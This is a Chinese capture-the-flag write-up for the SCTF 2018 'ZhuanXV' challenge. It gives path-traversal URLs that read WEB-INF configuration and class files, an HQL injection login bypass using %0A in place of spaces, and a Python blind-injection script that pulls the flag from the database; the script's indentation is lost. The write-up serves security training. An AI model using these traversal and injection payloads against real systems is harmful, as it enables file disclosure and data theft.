赛题:[SCTF 2018]ZhuanXV
文章目录
读取文件
使用dirsearch工具进行扫描
发现/list,访问是个登录界面,查看源码
发现背景图片的路径
查看web.xml
http://111.200.241.244:63455/loadimage?fileName=../../WEB-INF/web.xml
发现使用了strut2框架,
struts.xml是struts2的核心配置文件,在开发过程中利用率最高。该文件主要负责管理应用中的Action映射,以及该Action包含的Result定义等。
接下来读取struts.xml
http://111.200.241.244:63455/loadimage?fileName=../../WEB-INF/classes/struts.xml
发现很多类名,继续读取
http://111.200.241.244:63455/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/action/UserLoginAction.class
http://111.200.241.244:63455/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/action/DownloadAction.class
http://111.200.241.244:63455/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/util/UserOAuth.class
http://111.200.241.244:63455/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/action/AdminAction.class
在UserLoginAction.class中找到其他的class文件
继续获取
http://111.200.241.244:63455/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/po/User.class
http://111.200.241.244:63455/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/service/UserService.class
http://111.200.241.244:63455/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/util/InitApplicationContext.class
然后我们又在InitApplicationContext.class中发现applicationContext.xml
继续读取
http://111.200.241.244:63455/loadimage?fileName=../../WEB-INF/classes/applicationContext.xml
又在里面发现了其他的class类和user.hbm.xml
http://111.200.241.244:63455/loadimage?fileName=../../WEB-INF/classes/user.hbm.xml
http://111.200.241.244:63455/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/dao/impl/UserDaoImpl.class
http://111.200.241.244:63455/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/service/impl/UserServiceImpl.class
UserDaoImpl.class中,对用户名name进行了操作,会将空格和=替换为空
sql注入漏洞
在UserDaoImpl.class中,应该是检查用户名和密码的操作,存在SQL注入漏洞
其中注意
find("from User where name ='" + name + "' and password = '" + password + "'");
其实也就是
from User where name ='[name]' and password ='[password]'
根据上面的分析,对用户名进行了过滤,所以使用%0A
代替空格
本来想用
admin'%0Aor%0A'1'>'0
但是不行,还得用下面的这个
admin'%0Aor%0A'1'>'0'%0Aor%0Aname%0Alike%0A'admin
然后登录成功,但是并没有发现flag
大佬的wp里说,根据之前的user.hbm.xml
文件,可以发现flag的映射类,可以确定flag在数据库中
根据官方wp简单修改后的脚本
import requests
s = requests.session()
flag = ''
for i in range(1,50):
print(i)
for j in range(1,128):
payload = "(select%0Aascii(substr(id," + str(i) + ",1))%0Afrom%0AFlag)<'" + str(j) + "'"
#print(payload)
url = "http://111.200.241.244:49621/zhuanxvlogin?user.name=admin'%0Aor%0A" + payload + "%0Aor%0Aname%0Alike%0A'admin&user.password=123456"
r = s.get(url)
if r"Welcome" in r.text:
#print(r.text)
flag = flag + chr(j-1)
print(flag)
break
然后分析一下和官方wp有什么不一样的地方
官方wp中多了一个限制id<2,似乎是判断字段的,不过加不加都能跑出来
还有就是多引入了一个变量p,因为payload中用的是<,所以每一个p实际上取的是(j-1),这一点我直接在我上面的脚本中进行了修改